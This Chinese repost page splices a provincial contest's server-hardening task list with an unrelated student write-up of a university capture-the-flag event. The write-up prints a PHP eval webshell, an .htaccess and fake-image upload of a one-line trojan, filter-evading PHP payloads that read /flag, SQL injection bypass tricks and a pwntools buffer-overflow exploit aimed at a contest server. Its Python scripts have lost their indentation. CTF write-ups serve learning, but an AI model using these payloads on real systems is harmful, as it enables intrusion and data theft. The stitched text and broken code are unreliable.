网络空间安全省赛A解析
Posted FogIslandBay0324
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络空间安全省赛A解析相关的知识,希望对你有一定的参考价值。
模块 A 基础设施设置与安全加固
一、项目和任务描述:
假定你是某企业的网络安全工程师,对于企业的服务器系统,根据任务要求
确保各服务正常运行,并通过综合运用登录和密码策略、流量完整性保护策略、
事件监控策略、防火墙策略等多种安全策略来提升服务器系统的网络安全防御能
力。本模块要求对具体任务的操作截图并加以相应的文字说明,以 word 文档的形
式书写,以 PDF 格式保存,以赛位号作为文件名.
二、服务器环境说明
Log:日志服务器(Splunk),操作系统为 Linux
Web:IIS 服务器,操作系统为 Windows
A-1 任务一 登录安全加固
请对服务器 Web 按要求进行相应的设置,提高服务器的安全性。
1.密码策略(Web)
a.最小密码长度不少于 8 个字符,将密码长度最小值的属性配置界面截图;
b.密码策略必须同时满足大小写字母、数字、特殊字符,将密码必须符合复
杂性要求的属性配置界面截图。
2.登录策略(Web)
a.在用户登录系统时,应该有“For authorized users only”提示信息,
将登录系统时系统弹出警告信息窗口截图;
b.一分钟内仅允许 5 次登录失败的尝试,超过 5 次,登录帐号锁定 1 分钟,
将账户锁定策略配置界面截图;(注意,超过五次锁定,所以这里锁定阈值应为
6 次,截图中若为 5 次则不计分)
c.远程用户非活动会话连接超时应小于等于 5 分钟,将 RDP-Tcp 属性对应的
配置界面截图。
3.用户安全管理(Web)
a.对服务器进行远程管理安全性 SSL 加固,防止敏感信息泄露被监听,将
RDP-Tcp 属性对应的配置界面截图;
b.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图。
A-2 任务二 Web 安全加固(Web)
1.为了防止 web 中.mdb 数据库文件非法下载,请对 Web 配置文件进行安全
加固,将 C:\\Windows\\System32\\inetsrv\\config\\applicationHost 配置文件中
对应的部分截图;
2.限制目录执行权限,对 picture 和 upload 目录设置执行权限为无,将编辑
功能权限的配置界面截图;
picture 目录权限设置
或
upload 目录权限设置
或
都给分
3.开启 IIS 的日志审计记录(日志文件保存格式为 W3C,只记录日期、时间、
客户端 IP 地址、用户名、方法),将 W3C 日志记录字段的配置界面截图;
4.为了减轻网站负载,设置网站最大并发连接数为 1000,将编辑网站限制
的配置界面截图;
5.防止文件枚举漏洞枚举网络服务器根目录文件,禁止 IIS 短文件名泄露,
将配置命令截图;
6.关闭 IIS 的 WebDAV 功能增强网站的安全性,将警报提示信息截图。
A-3 任务三 流量完整性保护与事件监控(Web,Log)
1.为了防止密码在登录或者传输信息时被窃取,仅使用证书登录 SSH(Log),
将/etc/ssh/sshd_config 配置文件中对应的部分截图;
2.将 Web 服务器开启审核策略
登录事件 成功/失败;
特权使用 成功;
策略更改 成功/失败;
进程跟踪 成功/失败;
将审核策略的配置界面截图;
3.配置 Splunk 接收 Web 服务器,安全日志,系统日志,CPU 负载,内存,
磁盘空间,网络状态。将转发器:部署成功的页面截图。
A-4 任务四 防火墙策略
所有服务器开启防火墙,为防止勒索病毒攻击对防火墙进行加固策略:
1.Windows 系统禁用 445 端口,将防火墙入站规则截图;
2.Linux 系统禁用 23 端口,将 iptables 配置命令截图;
3.Linux 系统禁止别人 ping 通,将 iptables 配置命令截图;
4.Linux 系统为确保安全禁止所有人连接 SSH 除了 172.16.1.1 这个 ip,将
iptables 配置命令截图。
两张图全对才给分
如需环境或者加入可以联系:1721676697
ctf第一届浙江师范大学网络与信息安全校赛wp
【ctf】第一届浙江师范大学网络与信息安全校赛wp
前言
第一次参加正式的ctf比赛,恰巧碰到了自己学校的第一届校赛。分享一下菜狗的做题心路历程。
热身
1.网络安全法(解出)
网络安全法2016-11-07颁布
得到flag{2016-11-07}
WEB
1.web签到(解出)
<?php
show_source(__file__);
@eval($_POST['zjnuctf']);
?>
由于自己的hackbar有问题(这里卡了好久发现是hackbar的问题),直接bp抓包,get改为post
2.easy_serialization (解出)
反序列化
将fakeflag.php改为flag.php后输出
当然,要把flag.php用php://filter伪协议
将上面的url编码当作fxxk的值传入
得到base64编码解密
爆破?不存在的,直接MD5网站解密
flag{1919810}
3.easy_md5(解出)
上来先代码审计
可以发现有三关。
第一关,==弱比较,直接用MD5碰撞即可。
分别给a1,a2赋值(上面的都可以)
第二关 ,===强比较,使用数组即可
b[]1=1&b2[]=2
第三关 (卡的有点久,后面灵光一闪)
因为flag ls等字样都被过滤了
我们用var_dump函数执行
查看根目录scandir(chr()47)
cmd=var_dump(scandir(chr(47)))?>
发现flag用file_get_contents
cmd=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))?>
4.easy_upload(解出)
考察文件上传
先试了php
发现无法上传php
用.htaccess
然后再上传
说不是jpg格式
bp抓包后更改 image/jpeg
上传成功
再上传一张1.jpg内涵一句话木马
蚁剑连接
根目录发现flag
5.5.i_love_sql[悬赏题] (未解出)
这题在比赛的时候想了很久,但是没解出来。
用fuzz字典发现or ’ 空格 = 这些都被过滤了。当时也没想到什么解法。
以下是当时的心路历程
首先,被过滤的 ’ 可以用 \\ 来转义,空格可以用/**/来替换,or用 || 来替换
因为or被过滤了,无法使用information_schema,但是mysql5.6版本以上存在mysql.innodb_table_stats
其次,这个sql语句盲猜都知道是
select username,password from 表 where userename = '$name' and password = '$password'
那么我们做如下替换
select username, password from 表 where username='\\' and password='||/**/1#';
然后得到的结果让我痛心
之后打开了御剑扫描,发现有个admin123.php
无果,到此思路就结束了。
然后就是赛后看官方wp,发现还是得写脚本来破解。
(由于自己还未参悟,所以直接上官方wp吧)官方wp
MISC
1.扫雷(解出)
卡了我好久,我以为有更好的一步到位方法
2.神奇的迷宫(未解出)
这题看完wp真的是有点呕吐,思路全对就是我眼睛不行qaq(看的时候迷宫密码少了个d)
下载附件发现一张maze图片
然后分别用 u d l r 对应上下左右,得到关键密码 drdrdrdldldrurururdldld
然后用kali的binwalk分离maze图片,发现一个zip文件,解压密码就是上面的drdrdrdldldrurururdldld。解压完了就是flag.txt
3.奇怪的字符(未解出)
这题也是有思路,但没有完全有思路,气死。
下载附件发现全是01格式的字符
一看就是01二进制转ascii码,写一个py转化脚本
得到的一看就是base64编码,放入在线网站解密
又得到一个奇奇怪怪的字符串。
比赛时候到这里就懵逼了。
赛后看wp发现,解密出来的这玩意还是一个base64。
所以我们只需要再来一次解码即可。
发现得到的东西和flag不一样。想到题面中的凯撒。
直接凯撒密码得到flag
4.打不开的word(解出)
解压发现docx文件
打不开
改为txt后缀,发现xml格式
直接改为zip后缀
解压
发现hint.xml
打开
照着上面做
照着做之后将解压后的文件压缩为zip,再改后缀为docx
打开
一开始一张图和一句话
flag在哪呢?
我真的不知道啊!!
卡了好久
百度了之后发现有word有隐藏文字功能
我人傻了
拖开图片发现flag
5.嫌疑人bmth的硬盘[悬赏题](未解出)
怎么说呢,这题也是与正确答案擦肩而过。。。
以下是我的心路历程。
下载附件之后,发现一张图和一个有密码的压缩包,内涵虚拟磁盘文件
压缩包密码是什么呢?
肯定在这张图片里。
放入kali的binwalk中,无解。
拖入010中,发现了奇奇怪怪的东西
在最下方发现了一个password,激动的以为这就是解压密码。可是悬赏题不可能这么简单!无果。
又在010发现了有趣的东西。
上面写着,Do you konw silentEye?
百度了一下,是个电影?
再深入百度,发现是一个图片解码工具,直接下载安装。
当时直接不会用。卡在这里停住了。
到此心路历程结束。
看了官方wp之后,发现,只需要改个password即可。改为上面010里看到的123456
解压得到vhd文件
参加vhd,并进入
发现flag.txt
手速???无他,唯手熟尔
CRYPTO
1.签到(解出)
这题也卡了(我太菜了)
上来直接base64
然后看不懂
在后面用web工具的时候发现是hex编码
2.恶魔人(未解出)
这题怎么说呢?就是题目做少了
得到txt文件
类似于佛曰,但是我比赛时候百度没出结果。
赛后看wp发现还有熊曰这玩意!!!
至于题目的恶魔人,只是单纯的玩日语谐音梗。。。
3.shit_encode(解出)
侥幸拿了一血(唯一一个qaq)
下载附件
得到py和txt
看py得知
哼=0
啊=1
写java脚本
得到01
一看就是01转ascii码
上py脚本得到flag
4.easy_rsa(未解出)
rsa真的不是我这种数学fw写的出来的。
即使是看了赛后wp,我还是不会,直接放弃。。。
wp的脚本
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot,invert,is_prime
nn=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730887670416768927672337677964290714550597600568429298221699648716921633068901353883948998903599058659542070118947492576518928418186712932926792789779394655691866868123443570557245730548669118968910472481699594289886611870716330210847358794021118096694062505555989342966084729820172623438268306776062004746756005827
n=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730807001526796418874459262653269010050805445478077947359375104859206527750763562742113548953267910553466464257144910076016464319670824458715011248550028233525149999568175523132599184229580518635264332963606814447158506677704508111890282939569371852505020871097477121110247604848059496171967876089968129112279691787
c=6909971391235120426969929645159492694245180553493170688384455395528880026264095781528449983208737981366859280710505606312242226424493215677583657170631510569997194553878866069533443896325051765975176119838518862738911330711618395941024704526641020596853651020122118936781031517870336553964625043083191787006414798451913618025949091586821489624371752964104686443066484925896291615405649389508964693993423607826989107021323425570133994104193066158297289023028007258400114180433143896560235193492515971098965506699893119979781920883228266956815844473828142781253269238329637022081737391678217749601980114153927801508703
e=65537
t = nn - n
f1 = lambda x, y: pow(x * y - t, 2) - 4 * n * x * y
f2 = lambda x, y, s: (t - x * y - s) / (2 * x)
token = 0
for x in xrange(1, 3000):
if token == 1:
break
for y in xrange(1, 3000):
if f1(x, y) >= 0:
s, b = iroot(f1(x, y), 2)
if b:
if is_prime(f2(x, y, int(s))):
p = f2(x, y, int(s))
token = 1
break
q = n/p
phi = (p-1)*(q-1)
d = invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
5.114514[悬赏题](未解出)
下载附件中的py文件
txt文件
可以看到出来
‘114’,‘514’,‘1919’,‘810’
都是会被替代的
但是我是真的不会分析源码(python还没系统学习的一个fw罢了)
官方wp
#! python3
#coding=gbk
def shit_plus_decode(string):
string = string[7:].replace("114","00").replace("514","01").replace("1919","10").replace("810","11")
num_list = []
temp = ""
for i in string:
temp += i
if len(temp) == 16:
num_list.append(temp)
temp = ''
result =""
for i in range(len(num_list)):
high_bytes = num_list[i][:8]
low_bytes = num_list[i][8:]
new_num = bin(int(num_list[i][:8],2) ^ int(num_list[i][8:],2))[2:]
result += chr(int(new_num + low_bytes,2))
return result
cipher = r"¤ä¤ê¤Þ¤¹¤Í!!5141919514191951419195141919514191981011451419198101145141919114514514191911451451419195148105141919514810514810191981051481019198101148105148101148105148101148105141919114810514191911481019191141148101919114114810114191911481011419191148101141141148101141145141919114191951419191141919114810191911411481019191145141919514514514191951451411419198105141141919810514114810514810114810514810514191951411451419195141145141919114191951419191141919514191911481051419191148101141919810514114191981051411481051411411481051411411481011411411481011411411481051481011481051481011481011411411481011411411419198105141141919810514514191911419195141919114191911481011451411481011451451419195145145141919514514114810191911411481019191141141919810514114191981051451419191145145141919114514114810514514114810514514114810114114114810114114514191951451451419195145141148105141919114810514191911481019195141148101919514114810514191911481051419191148101919514114810191951411481011411411481011411411481051481011481051481011481051451411481051451451419195141145141919514114514810810514514810810514"
print(shit_plus_decode(cipher))
REVERSE
1.shiftf12(解出)
题目就是提示
放入ida说缺少关键文件
拖入kali
upx -d 脱壳
再拖入ida
shift f12得到flag
2.bit_operation(未解出)
逆向最不会的就是位运算了,在学算法的时候就被这个折磨。而且本学期的数字电路我也没怎么听,遇到这种题目,挺无奈的qaq。
直接看题解吧,我也不会。官方题解
3.2048(解出)
(这题教会我们不会就百度)
正经人谁玩游戏啊
直接百度
发现py反编译脚本
跟着百度输入指令
得到
里面有个main和struct
将这俩玩意用010打开
将struct的开头复制到main中
保存
改为pyc后缀
执行脚本得到main.py
打开
查找flag
两个都在
4.gravity_ball(未解出)
(我是真没玩过这什么重力小球。)
这已经超出我的能力范围了qaq
直接看这个–>官方wp
5.seeassGO![悬赏题] (未解出)
想都别想,这种悬赏题直接放弃。
直接看这个–>官方wp
PWN
1.nc(解出)
直接无脑nc上去就完事了
ls
cat flag
得到flag
2.整数上溢(解出)
(这个题面是真的烂)
拖入ida看代码
发现输入-2就可以了
nc连接
输入-2
ls
cat flag
3.gets_x86(未解出)
这题赛后想了想,解了下。
首先把附件拖入ida中分析。
第一个flag提示我们在 /flag 中。那我们怎么把这个flag拿出来呢?
我们发现有个getCode函数,让我们输入。有个gets函数,肯定有栈溢出漏洞!
然后这个getCode函数让你输入代码,程序运行会执行你写入的代码。
之后看check函数
发现其实你啥也写不了,因为int main(){}的括号全给你check掉了
那怎么拿到/flag呢? 用include
#include</flag>即可报错输出!
第二个flag啥头绪没有。一般都是会有/bin/sh的后门地址的。我们去其他函数里找找。
终于在boynextbackdoor中找到(恶臭)
按下shift再按空格,查看地址
发现后门地址(080492B6),直接写一部分py脚本
接着在getCode函数中发现gets函数。
char s[104]到ebp的深度是0x6c,所以填充0x6c+4个字符即可覆盖地址。
写下脚本
from pwn import *
# io = process('./gets_x86')
io = remote('121.43.169.147',8510)
ELF("./gets_x86") # ELF格式解析文件
success_addr = 0x80492B6
payload = 'a' * 0x6c + 'aaaa' + p32(success_addr) + 'a' # 为了防止timeout: the monitored command dumped core,增加payload长度
io.sendline(payload)
io.interactive()
运行得到
4.superstack(未解出)
这题是真的看都不配看一眼,根本不会。
快进到看官方wp–>官方wp
5.judger_wqt(未解出)
这题是acmer和ctfer的强强联合。还想看?想都不配想!
行了,直接看官方wp吧。
温馨的给了acm解法和ctf解法
后话
刚刚入门的菜狗,啥也不懂,各位大佬看个乐呵哈!
已经决定走web路线了,所以以后没有这五个方向的大杂烩wp咯~
以上是关于网络空间安全省赛A解析的主要内容,如果未能解决你的问题,请参考以下文章
网络空间安全中职重庆市比赛赛题解析分析四个阶段解析答案(共五套题)第二套题目
网络空间安全中职重庆市比赛赛题解析分析四个阶段解析答案(共五套题)第五套题目
网络空间安全中职重庆市比赛赛题解析分析四个阶段解析答案(共五套题)第五套题目
网络空间安全中职重庆市比赛赛题解析分析四个阶段解析答案(共五套题)第四套题目